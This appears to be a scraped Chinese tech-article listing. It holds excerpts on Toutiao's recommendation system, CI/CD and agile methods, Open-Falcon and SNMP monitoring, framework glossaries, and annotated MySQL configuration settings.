但对于一个重度球迷而言,尤其是巴萨的球迷,恨不得所有报道都看一遍。解决这一问题需要根据判断相似文章的主题、行文、主体等内容,根据这些特征做线上策略。 同样,还有时空特征,分析内容的发生地点以及时效性。比如武汉限行的事情推给北京用户可能就没有意义。 最后还要考虑质量相关特征,判断内容是否低俗,色情,是否是软文,鸡汤? 上图是头条语义标签的特征和使用场景。他们之间层级不同,要求不同。 分类的目标是覆盖全面,希望每篇内容每段视频都有分类;而实体体系要求精准,相同名字或内容要能明确区分究竟指代哪一个人或物,但不用覆盖很全。 概念体系则负责解决比较精确又属于抽象概念的语义。这是我们最初的分类,实践中发现分类和概念在技术上能互用,后来统一用了一套技术架构。 目前,隐式语义特征已经可以很好的帮助推荐,而语义标签需要持续标注,新名词新概念不断出现,标注也要不断迭代。其做好的难度和资源投入要远大于隐式语义特征,那为什么还需要语义标签? 有一些产品上的需要,比如频道需要有明确定义的分类内容和容易理解的文本标签体系。语义标签的效果是检查一个公司NLP技术水平的试金石。 今日头条推荐系统的线上分类采用典型的层次化文本分类算法。 最上面Root,下面第一层的分类是像科技、体育、财经、娱乐,体育这样的大类,再下面细分足球、篮球、乒乓球、网球、田径、游泳…,足球再细分国际足球、中国足球,中国足球又细分中甲、中超、国家队…,相比单独的分类器,利用层次化文本分类算法能更好地解决数据倾斜的问题。 有一些例外是,如果要提高召回,可以看到我们连接了一些飞线。这套架构通用,但根据不同的问题难度,每个元分类器可以异构,像有些分类SVM效果很好,有些要结合CNN,有些要结合RNN再处理一下。 上图是一个实体词识别算法的case。基于分词结果和词性标注选取候选,期间可能需要根据知识库做一些拼接,有些实体是几个词的组合,要确定哪几个词结合在一起能映射实体的描述。 如果结果映射多个实体还要通过词向量、topic分布甚至词频本身等去歧,最后计算一个相关性模型。 三、用户标签 内容分析和用户标签是推荐系统的两大基石。内容分析涉及到机器学习的内容多一些,相比而言,用户标签工程挑战更大。 今日头条常用的用户标签包括用户感兴趣的类别和主题、关键词、来源、基于兴趣的用户聚类以及各种垂直兴趣特征(车型,体育球队,股票等)。还有性别、年龄、地点等信息。 性别信息通过用户第三方社交账号登录得到。年龄信息通常由模型预测,通过机型、阅读时间分布等预估。 常驻地点来自用户授权访问位置信息,在位置信息的基础上通过传统聚类的方法拿到常驻点。 常驻点结合其他信息,可以推测用户的工作地点、出差地点、旅游地点。这些用户标签非常有助于推荐。 当然最简单的用户标签是浏览过的内容标签。但这里涉及到一些数据处理策略。 主要包括: 一、过滤噪声。通过停留时间短的点击,过滤标题党。 二、热点惩罚。对用户在一些热门文章(如前段时间PG One的新闻)上的动作做降权处理。理论上,传播范围较大的内容,置信度会下降。 三、时间衰减。用户兴趣会发生偏移,因此策略更偏向新的用户行为。因此,随着用户动作的增加,老的特征权重会随时间衰减,新动作贡献的特征权重会更大。 四、惩罚展现。如果一篇推荐给用户的文章没有被点击,相关特征(类别,关键词,来源)权重会被惩罚。当 然同时,也要考虑全局背景,是不是相关内容推送比较多,以及相关的关闭和dislike信号等。 用户标签挖掘总体比较简单,主要还是刚刚提到的工程挑战。头条用户标签第一版是批量计算框架,流程比较简单,每天抽取昨天的日活用户过去两个月的动作数据,在Hadoop集群上批量计算结果。 但问题在于,随着用户高速增长,兴趣模型种类和其他批量处理任务都在增加,涉及到的计算量太大。 2014年,批量处理任务几百万用户标签更新的Hadoop任务,当天完成已经开始勉强。集群计算资源紧张很容易影响其它工作,集中写入分布式存储系统的压力也开始增大,并且用户兴趣标签更新延迟越来越高。 面对这些挑战。2014年底今日头条上线了用户标签Storm集群流式计算系统。改成流式之后,只要有用户动作更新就更新标签,CPU代价比较小,可以节省80%的CPU时间,大大降低了计算资源开销。 同时,只需几十台机器就可以支撑每天数千万用户的兴趣模型更新,并且特征更新速度非常快,基本可以做到准实时。这套系统从上线一直使用至今。 当然,我们也发现并非所有用户标签都需要流式系统。像用户的性别、年龄、常驻地点这些信息,不需要实时重复计算,就仍然保留daily更新。 四、评估分析 上面介绍了推荐系统的整体架构,那么如何评估推荐效果好不好? 有一句我认为非常有智慧的话,“一个事情没法评估就没法优化”。对推荐系统也是一样。 事实上,很多因素都会影响推荐效果。比如侯选集合变化,召回模块的改进或增加,推荐特征的增加,模型架构的改进在,算法参数的优化等等,不一一举例。 评估的意义就在于,很多优化最终可能是负向效果,并不是优化上线后效果就会改进。 全面的评估推荐系统,需要完备的评估体系、强大的实验平台以及易用的经验分析工具。 所谓完备的体系就是并非单一指标衡量,不能只看点击率或者停留时长等,需要综合评估。 很多公司算法做的不好,并非是工程师能力不够,而是需要一个强大的实验平台,还有便捷的实验分析工具,可以智能分析数据指标的置信度。 一个良好的评估体系建立需要遵循几个原则,首先是兼顾短期指标与长期指标。我在之前公司负责电商方向的时候观察到,很多策略调整短期内用户觉得新鲜,但是长期看其实没有任何助益。 其次,要兼顾用户指标和生态指标。既要为内容创作者提供价值,让他更有尊严的创作,也有义务满足用户,这两者要平衡。 还有广告主利益也要考虑,这是多方博弈和平衡的过程。 另外,要注意协同效应的影响。实验中严格的流量隔离很难做到,要注意外部效应。 强大的实验平台非常直接的优点是,当同时在线的实验比较多时,可以由平台自动分配流量,无需人工沟通,并且实验结束流量立即回收,提高管理效率。 这能帮助公司降低分析成本,加快算法迭代效应,使整个系统的算法优化工作能够快速往前推进。 这是头条A/B Test实验系统的基本原理。首先我们会做在离线状态下做好用户分桶,然后线上分配实验流量,将桶里用户打上标签,分给实验组。 举个例子,开一个10%流量的实验,两个实验组各5%,一个5%是基线,策略和线上大盘一样,另外一个是新的策略。 实验过程中用户动作会被搜集,基本上是准实时,每小时都可以看到。但因为小时数据有波动,通常是以天为时间节点来看。动作搜集后会有日志处理、分布式统计、写入数据库,非常便捷。 在这个系统下工程师只需要设置流量需求、实验时间、定义特殊过滤条件,自定义实验组ID。系统可以自动生成:实验数据对比、实验数据置信度、实验结论总结以及实验优化建议。 当然,只有实验平台是远远不够的。线上实验平台只能通过数据指标变化推测用户体验的变化,但数据指标和用户体验存在差异,很多指标不能完全量化。 很多改进仍然要通过人工分析,重大改进需要人工评估二次确认。 五、内容安全 最后要介绍今日头条在内容安全上的一些举措。头条现在已经是国内最大的内容创作与分发凭条,必须越来越重视社会责任和行业领导者的责任。如果1%的推荐内容出现问题,就会产生较大的影响。 现在,今日头条的内容主要来源于两部分,一是具有成熟内容生产能力的PGC平台 一是UGC用户内容,如问答、用户评论、微头条。这两部分内容需要通过统一的审核机制。如果是数量相对少的PGC内容,会直接进行风险审核,没有问题会大范围推荐。 UGC内容需要经过一个风险模型的过滤,有问题的会进入二次风险审核。审核通过后,内容会被真正进行推荐。这时如果收到一定量以上的评论或者举报负向反馈,还会再回到复审环节,有问题直接下架。 整个机制相对而言比较健全,作为行业领先者,在内容安全上,今日头条一直用最高的标准要求自己。 分享内容识别技术主要鉴黄模型,谩骂模型以及低俗模型。今日头条的低俗模型通过深度学习算法训练,样本库非常大,图片、文本同时分析。 这部分模型更注重召回率,准确率甚至可以牺牲一些。谩骂模型的样本库同样超过百万,召回率高达95%+,准确率80%+。如果用户经常出言不讳或者不当的评论,我们有一些惩罚机制。 泛低质识别涉及的情况非常多,像假新闻、黑稿、题文不符、标题党、内容质量低等等,这部分内容由机器理解是非常难的,需要大量反馈信息,包括其他样本信息比对。 目前低质模型的准确率和召回率都不是特别高,还需要结合人工复审,将阈值提高。目前最终的召回已达到95%,这部分其实还有非常多的工作可以做。别平台。 如果需要机器学习视频,可以在公众号后台聊天框回复【机器学习】,可以免费获取编程视频 。 你可能还喜欢 数学在机器学习中到底有多重要? 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2024-01-13 09:21:23
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...产品反馈并响应反馈的过程 简单的来说,持续集成就是持续不断地(一天多次)将代码合并(集成)到主干源码仓库,让产品可以快速迭代,同时保持高质量 代码每次通过集成到主干之前,必须通过自动化测试,以便快速发现和定位错误 持续集成并不能消除错误,而是让它们非常容易发现和改正 优点 缩减开发的周期,快速迭代版本 (尽早的持续集成,尽早进入迭代之中,尽早的暴露出问题,尽早解决,尽量在规定的时间内完成任务)(四尽早一尽量) 自动化流水线操作带来的高效 (CI的精髓在于持续,持续意味着自动化) (自动化验证代码变更的过程,可以在软件开发的早期发现缺陷和与其他代码、组件的集成问题) 随时可部署 (高频率的集成可以尽可能地保证随时部署上线,缩短开发复杂软件的市场交付时间) 极大程度避免低级错误 (减少大量内容合并到主干分支的请看看,避免代码合并冲突和无法预料的行为) 低级错误:编译错误,安装问题,接口问题,性能问题等 难点 迁移遗留代码到现有CI系统,需要的投入通常爱预料之外 在文化和组织上如果没有采用敏捷原则或DecOps的工作方式,那么很可能没有持续不断的提交,那么CI的存在意义不大 随着业务增长、工具的更替、技术的演进。CI系统也必然随之改动,往往会导致阶段性的不稳定和人力物力的耗费 如果CI的基本设定不到位,开发流程将会增加特别的开销 注意点 CI流程的触发方式 跟踪触发式:在每次提交到源码版本管理系统时触发 计划任务:预配置好的计划 手动:无论是通过CI服务器的管理界面还是脚本,用户可以手工执行CI工作流 代码审核 可在持续集成服务器里使用代码分析工具(例如Sonar)来执行自动代码审查 自动代码审查通过后,可发起一个人工代码审查,揪出那些自动审查无法找出的问题,即验证业务需求,架构问题,代码是否可读,以及是否易于扩展。 可灵活配置代码审核策略,例如:如果某些人没有审查代码便阻止对主干分支的任何提交。 最常用的工具是Gerrit 持续交付 简述 持续交付简称CD或CDE,是一种能够使得软件在较短的循环中可靠的发布的软件工程方法 与持续集成相比,持续交付的重点在于 交付,其核心对象不在于代码,而在于可交付的产物。 由于持续集成仅仅针对于新旧代码的集成过程执行来了一定的测试,其变动到持续交付后还需要一些额外的流程 持续交付可以看作为是持续集成的下一步,它强调的是,不敢怎么更新,软件是随时随快可以交付的 有图可看出,持续交付在持续集成的基础上,将集成后的代码部署到更贴近真实的运行环境的[类生产环境]中 目的 持续交付永爱确保让代码能够快速、安全的部署到产品环境中,它通过将每一次改动都会提交到一个模拟产品环境中,使用严格的自动化测试,确保业务应用和服务能符合预期 好处 持续交付和持续集成的好处非常相似: 快速发布。能够应对业务需求,并更快地实现软件价值 编码→测试→上线→交付的频繁迭代周期缩短,同时获得迅速反馈 高质量的软件发布标准。整个交付过程标准化、可重复、可靠 整个交付过程进度可视化,方便团队人员了解项目完成度 更先进的团队协作方式。从需求分析、产品的用户体验到交互、设计、开发、测试、运维等角色密切协作,相比于传统的瀑布式软件团队,更少浪费 持续部署 简述 持续部署 意味着:通过自动化部署的手段将软件功能频繁的进行交付 持续部署是持续交付的下一步,指的是代码通过审批以后,自动化部署到生产环境。 持续部署是持续交付的最高阶段,这意味着,所有通过了一系列的自动化测试的改动都将自动部署到生产环境。它也可以被称为“Continuous Release” 持续化部署的目标是:代码在任何时候都是可部署的,可以进入生产阶段。 持续部署的前提是能自动化完成测试、构建、部署等步骤 注:持续交付不等于持续集成 与持续交付以及持续集成相比,持续部署强调了通过 automated deployment 的手段,对新的软件功能进行集成 目标 持续部署的目标是:代码在任何时刻都是可部署的,可以进入生产阶段 有很多的业务场景里,一种业务需要等待另外的功能特征出现才能上线,这是的持续部署成为不可能。虽然使用功能切换能解决很多这样的情况,但并不是没每次都会这样。所以,持续部署是否适合你的公司是基于你们的业务需求——而不是技术限制 优点 持续部署主要的好处是:可以相对独立地部署新的功能,并能快速地收集真实用户的反馈 敏捷开发 简述 敏捷开发就是一种以人为核心、迭代循环渐进的开发方式。 在敏捷开发中,软件仙姑的构建被切分成多个子项目,各个子项目的成果都经过测试,具备集成和可运行的特征。 简单的说就是把一个大的项目分为多个相互联系,但也可以独立运行的小项目,并分别完成,在此过程中软件一直处于可使用状态 注意事项 敏捷开的就是一种面临迅速变化的需求快速开发的能力,要注意一下几点: 敏捷开发不仅仅是一个项目快速完成,而是对整个产品领域需求的高效管理 敏捷开发不仅仅是简单的快,而是短周期的不断改进、提高和调整 敏捷开发不仅仅是一个版本只做几个功能,而是突出重点、果断放弃当前的非重要点 敏捷开发不仅仅是随时增加需求,而是每个迭代周期对需求的重新审核和排序 如何进行敏捷开发 1、组织建设 也就是团队建设,建立以产品经理为主导,包含产品、设计、前后台开发和测试的team,快速进行产品迭代开发;扁平化的团队管理,大家都有共同目标,更有成就感; 2、敏捷制度 要找准适合自身的敏捷开发方式,主要是制定一个完善的效率高的设计、开发、测试、上线流程,制定固定的迭代周期,让用户更有期待; 3、需求收集 这个任何方式下都需要有,需求一定要有交互稿,评审通过后,一定要确定功能需求列表、责任人、工作量、责任人等; 4、工具建设 是指能够快速完成某项事情的辅助工具,比如开发环境的一键安装,各种底层的日志、监控等平台,发布、打包工具等; 5、系统架构 略为超前架构设计:支持良好的扩容性和可维护性;组件化基础功能模块:代码耦合度低,模块间的依赖性小;插件化业务模块:降低营销活动与业务耦合度,自升级、自维护;客户端预埋逻辑;技术预研等等; 6、数据运营与灰度发布 点击率分析、用户路径分析、渠道选择、渠道升级控制等等 原则、特点和优势 敏捷开发技术的12个原则: 1.我们最优先要做的是通过尽早的、持续的交付有价值的软件来使客户满意。 2.即使到了开发的后期,也欢迎改变需求。 3.经常性地交付可以工作的软件,交付的间隔可以从几周到几个月,交付的时间间隔越短越好。 4.在整个项目开发期间,业务人员和开发人员必须天天都在一起工作。 5.围绕被激励起来的个人来构建项目。 6.在团队内部,最具有效果并且富有效率的传递信息的方法,就是面对面的交谈。 7.工作的软件是首要的进度度量标准。 8.敏捷过程提倡可持续的开发速度。 9.不断地关注优秀的技能和好的设计会增强敏捷能力。 10.简单使未完成的工作最大化。 11.最好的构架、需求和设计出自于自组织的团队。 12.每隔一定时间,团队会在如何才能更有效地工作方面进行反省,然后相应地对自己的行为进行调整。 特点: 个体和交互胜过过程和工具 可以工作的软件胜过面面俱到的文档 客户合作胜过合同谈判 响应变化胜过遵循计划 优势总结: 敏捷开发确实是项目进入实质开发迭代阶段,用户很快可以看到一个基线架构班的产品。敏捷注重市场快速反应能力,也即具体应对能力,客户前期满意度高 适用范围: 项目团队的人不能太多 项目经常发生变更 高风险的项目实施 开发人员可以参与决策 劣势总结: 敏捷开发注重人员的沟通 忽略文档的重要性 若项目人员流动太大,维护的时候很难 项目存在新手的比较多的时候,老员工会比较累 需要项目中存在经验较强的人,要不然大项目中容易遇到瓶颈问题 Open-falcon 简述 open-falcon是小米的监控系统,是一款企业级、高可用、可扩展的开源监控解决方案 公司用open-falcon来监控调度系统各种信息,便于监控各个节点的调度信息。在服务器安装了falcon-agent自动采集各项指标,主动上报 特点 强大灵活的数据采集 (自动发现,支持falcon-agent、snmp、支持用户主动push、用户自定义插件支持、opentsdb data model like(timestamp、endpoint、metric、key-value tags) ) 水平扩展能力 (支持每个周期上亿次的数据采集、告警判定、历史数据存储和查询 ) 高效率的告警策略管理 (高效的portal、支持策略模板、模板继承和覆盖、多种告警方式、支持callback调用 ) 人性化的告警设置 (最大告警次数、告警级别、告警恢复通知、告警暂停、不同时段不同阈值、支持维护周期 ) 高效率的graph组件 (单机支撑200万metric的上报、归档、存储(周期为1分钟) ) 高效的历史数据query组件 (采用rrdtool的数据归档策略,秒级返回上百个metric一年的历史数据 ) dashboard(面向用户的查询界面,可以看到push到graph中的所有数据,并查看数据发展趋势 ) (对维度的数据展示,用户自定义Screen) 高可用 (整个系统无核心单点,易运维,易部署,可水平扩展) 开发语言 (整个系统的后端,全部golang编写,portal和dashboard使用python编写。 ) 监控范围 Open-Falcon支持系统基础监控,第三方服务监控,JVM监控,业务应用监控 基础监控指的是Linux系统的指标监控,包括CPU、load、内存、磁盘、IO、网络等, 这些指标由Openfalcon的agent节点直接支持,无需插件 第三方服务监控指的是一些常见的服务监控,包括Mysql、Redis、Nginx等 OpenFalcon官网提供了很多第三方服务的监控插件,也可以自己实现插件,定义采集指标。而采集到的指标,也是通过插件先发送给agent,再由agent发送到OpenFalcon。 JVM监控主要通过插件完成,插件通过JVM开放的JMX通信端口,获取到JVM参数指标,并推送到agent节点,再由agent发送到OpenFalcon。 业务应用监控就是监控企业自主开发的应用服务 主要通过插件完成,插件通过JVM开放的JMX通信端口,获取到JVM参数指标,并推送到agent节点,再由agent发送到OpenFalcon。 数据流向 常见的OpenFalcon包含transfer、hbs、agent、judge、graph、API几个进程 以下是各个节点的数据流向图,主数据流向是agent -> transfer -> judge/graph: SNMP 简述 SNMP:简单网络管理协议,是TCP/IP协议簇 的一个应用层协议,由于SNMP的简单性,在Internet时代得到了蓬勃的发展 ,1992年发布了SNMPv2版本,以增强SNMPv1的安全性和功能。现在,已经有了SNMPv3版本(它对网络管理最大的贡献在于其安全性。增加了对认证和密文传输的支持 )。 一套完整的SNMP系统主要包括:管理信息库(MIB)、管理信息结构(SMI)和 SNMP报文协议 为什么要用SNMP 作为运维人员,我们很大一部分的工作就是为了保证我们的网络能够正常、稳定的运行。因此监控,控制,管理各种网络设备成了我们日常的工作 优点和好处 优点: 简单易懂,部署的开销成本也小 ,正因为它足够简单,所以被广泛的接受,事实上它已经成为了主要的网络管理标准。在一个网络设备上实现SNMP的管理比绝大部分其他管理方式都简单直接。 好处: 标准化的协议:SNMP是TCP/IP网络的标准网络管理协议。 广泛认可:所有主流供应商都支持SNMP。 可移植性:SNMP独立于操作系统和编程语言。 轻量级:SNMP增强对设备的管理能力的同时不会对设备的操作方式或性能产生冲击。 可扩展性:在所有SNMP管理的设备上都会支持相同的一套核心操作集。 广泛部署:SNMP是最流行的管理协议,最为受设备供应商关注,被广泛部署在各种各样的设备上。 MIB、SMI和SNMP报文 MIB 管理信息库MIB:任何一个被管理的资源都表示成一个对象,称为被管理的对象。 MIB是被管理对象的集合。 它定义了被管理对象的一系列属性:对象的名称、对象的访问权限和对象的数据类型等。 每个SNMP设备(Agent)都有自己的MIB。 MIB也可以看作是NMS(网管系统)和Agent之间的沟通桥梁。 MIB文件中的变量使用的名字取自ISO和ITU管理的对象表示符命名空间,他是一个分级数的结构 SMI SMI定义了SNNMP框架多用信息的组织、组成和标识,它还未描述MIB对象和表述协议怎么交换信息奠定了基础 SMI定义的数据类型: 简单类型(simple): Integer:整型是-2,147,483,648~2,147,483,647的有符号整数 octet string: 字符串是0~65535个字节的有序序列 OBJECT IDENTIFIER: 来自按照ASN.1规则分配的对象标识符集 简单结构类型(simple-constructed ): SEQUENCE 用于列表。这一数据类型与大多数程序设计语言中的“structure”类似。一个SEQUENCE包括0个或更多元素,每一个元素又是另一个ASN.1数据类型 SEQUENCE OF type 用于表格。这一数据类型与大多数程序设计语言中的“array”类似。一个表格包括0个或更多元素,每一个元素又是另一个ASN.1数据类型。 应用类型(application-wide): IpAddress: 以网络序表示的IP地址。因为它是一个32位的值,所以定义为4个字节; counter:计数器是一个非负的整数,它递增至最大值,而后回零。在SNMPv1中定义的计数器是32位的,即最大值为4,294,967,295; Gauge :也是一个非负整数,它可以递增或递减,但达到最大值时保持在最大值,最大值为232-1; time ticks:是一个时间单位,表示以0.01秒为单位计算的时间; SNMP报文 SNMP规定了5种协议数据单元PDU(也就是SNMP报文),用来在管理进程和代理之间的交换。 get-request操作:从代理进程处提取一个或多个参数值。 get-next-request操作:从代理进程处提取紧跟当前参数值的下一个参数值。 set-request操作:设置代理进程的一个或多个参数值。 get-response操作:返回的一个或多个参数值。这个操作是由代理进程发出的,它是前面三种操作的响应操作。 trap操作:代理进程主动发出的报文,通知管理进程有某些事情发生。 操作命令 SNMP协议之所以易于使用,这是因为它对外提供了三种用于控制MIB对象的基本操作命令。它们是:Get、Set 和 Trap。 Get:管理站读取代理者处对象的值 Set:管理站设置代理者处对象的值 Trap: 代理者主动向管理站通报重要事件 SLA 简述 SLA(服务等级协议):是关于网络服务供应商和客户之间的一份合同,其中定义了服务类型、服务质量和客户付款等术语 一个完整的SLA同时也是一个合法的文档,包括所涉及的当事人、协定条款(包含应用程序和支持的服务)、违约的处罚、费用和仲裁机构、政策、修改条款、报告形式和双方的义务等。同样服务提供商可以对用户在工作负荷和资源使用方面进行规定。 KPI 简述 KPI(关键绩效指标):是通过对组织内部流程的输入端、输出端的关键参数进行设置、取样、计算、分析,衡量流程绩效的一种目标式量化管理指标,是把企业的战略目标分解为可操作的工作目标的工具,是企业绩效管理的基础。 KPI可以是部门主管明确部门的主要责任,并以此为基础,明确部门人员的业绩衡量指标,建立明确的切实可行的KPI体系,是做好绩效管理的关键。 KPI(关键绩效指标)是用于衡量工作人员工作绩效表现的量化指标,是绩效计划的重要组成部分 转载于:https://www.cnblogs.com/woshinideyugegea/p/11242034.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/anqiongsha8211/article/details/101592137。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-19 16:00:05
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...作和实体类映射关系的处理,通过注解、自动生成代码等方式,帮助开发者快速实现数据访问层的操作,如查询所有秒杀商品信息。 Spring Boot , Spring Boot是由Pivotal团队提供的全新框架,它为基于Spring的应用程序提供了快速构建和运行的解决方案。在该文章语境下,Spring Boot作为后端技术栈的核心部分,负责整个应用的启动、自动配置、组件扫描等功能,使得开发者能够快速搭建稳定、高效且易于维护的后端服务,例如定义Service和Controller层接口并实现相关业务逻辑。 Timestamp , Timestamp是一种数据库中的时间戳类型,表示从1970年1月1日(UTC/GMT的午夜)开始所经过的秒数,精确到微秒级别。在文中提到的SeckillGoods实体类中,startDate和endDate字段采用了Timestamp类型,以便精确记录秒杀活动的开始和结束时间,并使用DateTimeFormat注解进行格式化处理,确保与前端展示的时间格式一致。 VO(Value Object) , VO是值对象(Value Object)的简称,在面向对象编程领域中,VO通常用来封装从数据库查询或由用户输入的数据,仅包含属性以及它们的getter和setter方法,不包含行为。在本文中,创建了SeckillGoodsVo这个实体类VO,用于连表查询时接收和展示商品名字等多张表的关联数据,便于前后端之间的数据传输和展示。 前后端分离架构 , 前后端分离架构是一种常见的Web应用程序设计模式,其中前端专注于用户界面的设计和交互逻辑,而后端则关注业务逻辑处理、数据存储和API接口提供。在本篇文章中,前端通过Ajax请求调用后端提供的RESTful API获取数据并渲染页面,实现了前后端职责清晰、开发并行且可独立部署升级的现代Web应用架构。
2023-02-25 23:20:34
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...规则分解成词语序列的过程,是自然语言处理(NLP)中的基础步骤。在jieba组件中,中文分词采用了多种算法策略,如基于前缀词典构建有向无环图(DAG)进行扫描、动态规划查找最大概率路径以及HMM模型处理未登录词等技术,旨在准确高效地识别和切分出文本中的词汇单元。 TextRank算法 , TextRank是一种基于图排序理论的关键词抽取算法,其基本思想来源于PageRank算法,常用于信息检索和文本摘要等领域。在jieba库中,TextRank算法被应用于提取句子或文档中的关键词,通过统计词语间的共现关系构建网络,并计算节点的PageRank值来确定关键词的重要性。 PaddlePaddle , PaddlePaddle是由百度公司研发的开源深度学习框架,全称为“PArallel Distributed Deep LEarning”,适用于大规模数据训练和高性能推理场景。在jieba分词组件中,paddle模式利用PaddlePaddle框架训练序列标注模型(如双向GRU),实现更高级别的中文分词功能,同时支持词性标注,提升了对复杂语境下词汇切分与理解的能力。 TF-IDF算法 , TF-IDF(Term Frequency-Inverse Document Frequency)是一种常用的文本挖掘技术,用于评估一个词语对于一份文档或者一组文档集的重要性。在jieba.analyse模块中,通过TF-IDF算法可以为文本中的词语计算权重,从而有效地从大量文本中提取最具代表性和区分度的关键词,帮助用户快速了解文本主题和关键信息。
2023-12-02 10:38:37
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...计与响应式布局的实现过程,让开发者可以迅速构建出适应各种设备(包括手机、平板、桌面电脑等)屏幕尺寸的现代化网站。 Normalize.css , Normalize.css是一种CSS重置样式表,被集成在Bootstrap中,用于规范化不同浏览器之间的默认样式差异。它的目标是在不破坏有用浏览器默认样式的前提下,对HTML元素进行统一化样式处理,从而确保跨浏览器的一致渲染效果。 Flexbox布局 , Flexbox是Flexible Box Layout Model(弹性盒布局模型)的缩写,它是CSS3中的一种现代布局模式,能够更有效地处理复杂的网页布局问题。在Bootstrap v5及更高版本中,栅格系统完全基于Flexbox实现,使得布局更加灵活且易于控制,尤其在响应式设计上能更好地适应不同屏幕尺寸的变化需求。 栅格系统 , Bootstrap中的栅格系统是一种响应式布局方案,它将页面划分为12列的网格结构,允许开发者通过一系列预定义的类名(如.col-md-)来轻松调整内容在不同屏幕尺寸下的排列方式和宽度。这种布局方式使网页能够在多种设备和视口大小下保持一致且美观的显示效果。 响应式设计 , 响应式设计是一种网页设计方法论,其核心理念是网页界面能够根据用户行为以及设备环境(系统平台、屏幕尺寸、屏幕方向等)进行相应的响应和调整。在Bootstrap中,响应式设计主要体现在其内置的栅格系统、媒体查询等功能上,确保了网页在移动设备优先的原则下具有良好的视觉呈现和交互体验。
2023-10-18 14:41:25
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...志文件大小将增加恢复过程所需的时间。 innodb_log_file_size=48M Number of threads allowed inside the InnoDB kernel. The optimal value depends highly on the application, hardware as well as the OS scheduler properties. A too high value may lead to thread thrashing. InnoDB内核中允许的线程数。最优值在很大程度上取决于应用程序、硬件以及OS调度程序属性。过高的值可能导致线程抖动。 innodb_thread_concurrency=9 The increment size (in MB) for extending the size of an auto-extend InnoDB system tablespace file when it becomes full. 增量大小(以MB为单位),用于在表空间满时扩展自动扩展的InnoDB系统表空间文件的大小。 innodb_autoextend_increment=128 The number of regions that the InnoDB buffer pool is divided into. For systems with buffer pools in the multi-gigabyte range, dividing the buffer pool into separate instances can improve concurrency, by reducing contention as different threads read and write to cached pages. InnoDB缓冲池划分的区域数。对于具有多gb缓冲池的系统,将缓冲池划分为单独的实例可以提高并发性,因为不同的线程对缓存页面的读写会减少争用。 innodb_buffer_pool_instances=8 Determines the number of threads that can enter InnoDB concurrently. 确定可以同时进入InnoDB的线程数 innodb_concurrency_tickets=5000 Specifies how long in milliseconds (ms) a block inserted into the old sublist must stay there after its first access before it can be moved to the new sublist. 指定插入到旧子列表中的块必须在第一次访问之后停留多长时间(毫秒),然后才能移动到新子列表。 innodb_old_blocks_time=1000 It specifies the maximum number of .ibd files that MySQL can keep open at one time. The minimum value is 10. 它指定MySQL一次可以打开的.ibd文件的最大数量。最小值是10。 innodb_open_files=300 When this variable is enabled, InnoDB updates statistics during metadata statements. 当启用此变量时,InnoDB会在元数据语句期间更新统计信息。 innodb_stats_on_metadata=0 When innodb_file_per_table is enabled (the default in 5.6.6 and higher), InnoDB stores the data and indexes for each newly created table in a separate .ibd file, rather than in the system tablespace. 当启用innodb_file_per_table(5.6.6或更高版本的默认值)时,InnoDB将每个新创建的表的数据和索引存储在单独的.ibd文件中,而不是系统表空间中。 innodb_file_per_table=1 Use the following list of values: 0 for crc32, 1 for strict_crc32, 2 for innodb, 3 for strict_innodb, 4 for none, 5 for strict_none. 使用以下值列表:0表示crc32, 1表示strict_crc32, 2表示innodb, 3表示strict_innodb, 4表示none, 5表示strict_none。 innodb_checksum_algorithm=0 The number of outstanding connection requests MySQL can have. This option is useful when the main MySQL thread gets many connection requests in a very short time. It then takes some time (although very little) for the main thread to check the connection and start a new thread. The back_log value indicates how many requests can be stacked during this short time before MySQL momentarily stops answering new requests. You need to increase this only if you expect a large number of connections in a short period of time. MySQL可以有多少未完成连接请求。当MySQL主线程在很短的时间内收到许多连接请求时,这个选项非常有用。然后,主线程需要一些时间(尽管很少)来检查连接并启动一个新线程。back_log值表示在MySQL暂时停止响应新请求之前的短时间内可以堆多少个请求。只有当您预期在短时间内会有大量连接时,才需要增加这个值。 back_log=80 If this is set to a nonzero value, all tables are closed every flush_time seconds to free up resources and synchronize unflushed data to disk. This option is best used only on systems with minimal resources. 如果将该值设置为非零值,则每隔flush_time秒关闭所有表,以释放资源并将未刷新的数据同步到磁盘。这个选项最好只在资源最少的系统上使用。 flush_time=0 The minimum size of the buffer that is used for plain index scans, range index scans, and joins that do not use 用于普通索引扫描、范围索引扫描和不使用索引执行全表扫描的连接的缓冲区的最小大小。 indexes and thus perform full table scans. join_buffer_size=200M The maximum size of one packet or any generated or intermediate string, or any parameter sent by the mysql_stmt_send_long_data() C API function. 由mysql_stmt_send_long_data() C API函数发送的一个包或任何生成的或中间字符串或任何参数的最大大小 max_allowed_packet=500M If more than this many successive connection requests from a host are interrupted without a successful connection, the server blocks that host from performing further connections. 如果在没有成功连接的情况下中断了来自主机的多个连续连接请求,则服务器将阻止主机执行进一步的连接。 max_connect_errors=100 Changes the number of file descriptors available to mysqld. You should try increasing the value of this option if mysqld gives you the error "Too many open files". 更改mysqld可用的文件描述符的数量。如果mysqld给您的错误是“打开的文件太多”,您应该尝试增加这个选项的值。 open_files_limit=4161 If you see many sort_merge_passes per second in SHOW GLOBAL STATUS output, you can consider increasing the sort_buffer_size value to speed up ORDER BY or GROUP BY operations that cannot be improved with query optimization or improved indexing. 如果在SHOW GLOBAL STATUS输出中每秒看到许多sort_merge_passes,可以考虑增加sort_buffer_size值,以加快ORDER BY或GROUP BY操作的速度,这些操作无法通过查询优化或改进索引来改进。 sort_buffer_size=1M The number of table definitions (from .frm files) that can be stored in the definition cache. If you use a large number of tables, you can create a large table definition cache to speed up opening of tables. The table definition cache takes less space and does not use file descriptors, unlike the normal table cache. The minimum and default values are both 400. 可以存储在定义缓存中的表定义的数量(来自.frm文件)。如果使用大量表,可以创建一个大型表定义缓存来加速表的打开。与普通的表缓存不同,表定义缓存占用更少的空间,并且不使用文件描述符。最小值和默认值都是400。 table_definition_cache=1400 Specify the maximum size of a row-based binary log event, in bytes. Rows are grouped into events smaller than this size if possible. The value should be a multiple of 256. 指定基于行的二进制日志事件的最大大小,单位为字节。如果可能,将行分组为小于此大小的事件。这个值应该是256的倍数。 binlog_row_event_max_size=8K If the value of this variable is greater than 0, a replication slave synchronizes its master.info file to disk. (using fdatasync()) after every sync_master_info events. 